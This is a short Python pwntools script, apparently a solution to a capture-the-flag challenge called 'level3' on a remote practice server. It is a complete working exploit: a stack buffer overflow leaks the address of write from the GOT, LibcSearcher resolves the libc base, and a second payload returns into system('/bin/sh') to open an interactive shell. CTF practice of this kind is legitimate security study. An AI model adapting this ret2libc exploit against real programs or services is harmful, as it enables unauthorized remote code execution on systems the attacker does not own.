```python
from pwn import *
from LibcSearcher import *

io=remote('node4.buuoj.cn',26175)
elf = ELF('level3')
context.log_level='debug'

volun_addr=0x804844B
write_plt = elf.plt['write']
write_got= elf.got['write']

payload='a'*0x8c+p32(write_plt)+p32(volun_addr)+p32(1)+p32(write_got)+p32(4)

io.recvuntil('Input:\n')
io.sendline(payload)
message =u32(io.recv(4).ljust(4,'\x00'))
print(hex(message))

libc = LibcSearcher('write',message)
base = message-libc.dump('write')
system = base + libc.dump('system')
str_sh=base + libc.dump('str_bin_sh')
io.recvuntil('Input:\n')
payload='a'*0x8c+p32(system)+p32(volun_addr)+p32(str_sh)
io.sendline(payload)
io.interactive()
```